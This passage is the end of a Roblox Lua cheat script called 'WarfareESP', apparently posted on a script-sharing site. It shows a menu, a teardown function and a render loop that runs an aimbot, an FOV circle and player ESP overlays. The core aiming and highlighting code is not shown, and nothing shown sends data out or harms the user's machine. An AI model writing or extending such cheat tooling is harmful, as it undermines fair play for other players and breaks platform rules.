makeToggle("Distance",         Config.showDistance,  function(v) Config.showDistance = v end)

local termBtn = make("TextButton", {
    Parent = body, Size = UDim2.new(1, 0, 0, 30),
    BackgroundColor3 = COL.danger, BorderSizePixel = 0,
    Text = "TERMINATE", TextColor3 = COL.text,
    Font = Enum.Font.GothamBold, TextSize = 12,
    AutoButtonColor = false, LayoutOrder = nextOrder(),
})
corner(termBtn, 5)

do
    local dragging, ds, sp = false, nil, nil
    head.InputBegan:Connect(function(i)
        if i.UserInputType == Enum.UserInputType.MouseButton1
        or i.UserInputType == Enum.UserInputType.Touch then
            dragging = true; ds = i.Position; sp = win.Position
        end
    end)
    track(UserInputService.InputChanged:Connect(function(i)
        if not dragging then return end
        if i.UserInputType == Enum.UserInputType.MouseMovement
        or i.UserInputType == Enum.UserInputType.Touch then
            local d = i.Position - ds
            win.Position = UDim2.new(
                sp.X.Scale, sp.X.Offset + d.X,
                sp.Y.Scale, sp.Y.Offset + d.Y)
        end
    end))
    track(UserInputService.InputEnded:Connect(function(i)
        if i.UserInputType == Enum.UserInputType.MouseButton1
        or i.UserInputType == Enum.UserInputType.Touch then dragging = false end
    end))
end

closeBtn.MouseButton1Click:Connect(function()
    if terminated then return end
    win.Visible = not win.Visible
end)

--───────────────────────────────────────────────────────────
-- Terminate
--───────────────────────────────────────────────────────────
local function terminate()
    if terminated then return end
    terminated = true

    pcall(function() RunService:UnbindFromRenderStep("WarfareESP_Loop") end)
    for _, c in ipairs(connections) do
        pcall(function() c:Disconnect() end)
    end
    connections = {}

    for _, inst in ipairs(ADORN_PARENT:GetDescendants()) do
        if inst.Name == "WarfareESP_HL" or inst.Name == "WarfareESP_Sel" then
            pcall(function() inst:Destroy() end)
        end
    end
    for _, inst in ipairs(workspace:GetDescendants()) do
        if inst.Name == "WarfareESP_HL" or inst.Name == "WarfareESP_Sel" then
            pcall(function() inst:Destroy() end)
        end
    end

    destroyAllESP()

    if fovCircle then
        pcall(function() fovCircle:Remove() end)
        fovCircle = nil
    end

    pcall(function() gui:Destroy() end)
    print("[WarfareESP] terminated.")
end

termBtn.MouseButton1Click:Connect(terminate)

--───────────────────────────────────────────────────────────
-- Main loop
--───────────────────────────────────────────────────────────
RunService:BindToRenderStep("WarfareESP_Loop", Enum.RenderPriority.Camera.Value + 1, function()
    if terminated then return end
    Camera = workspace.CurrentCamera
    if not Camera then return end

    -- Aimbot (runs regardless of ESP master switch)
    updateAimbot()

    -- FOV circle
    if fovCircle then
        local mouse = UserInputService:GetMouseLocation()
        fovCircle.Position = Vector2.new(mouse.X, mouse.Y)
        fovCircle.Radius = Config.aimbot.fov
        fovCircle.Visible = Config.aimbot.showFov and Config.aimbot.enabled
    end

    -- ESP
    if not Config.enabled then return end
    local myPos = getMyPos()
    for _, plr in ipairs(Players:GetPlayers()) do
        updatePlayer(plr, myPos)
    end
end)

track(Players.PlayerRemoving:Connect(function(plr)
    destroyPlayerESP(plr)
end))

track(UserInputService.InputBegan:Connect(function(i, gpe)
    if terminated or gpe then return end
    if i.KeyCode == Config.toggleKey then
        win.Visible = not win.Visible
    end
end))

print("[WarfareESP] loaded.  Home = toggle menu.  Hold Right-Mouse to aim.")

Review the source before using it. Executions count successful copies, capped at 10 per user and network per script in 24 hours.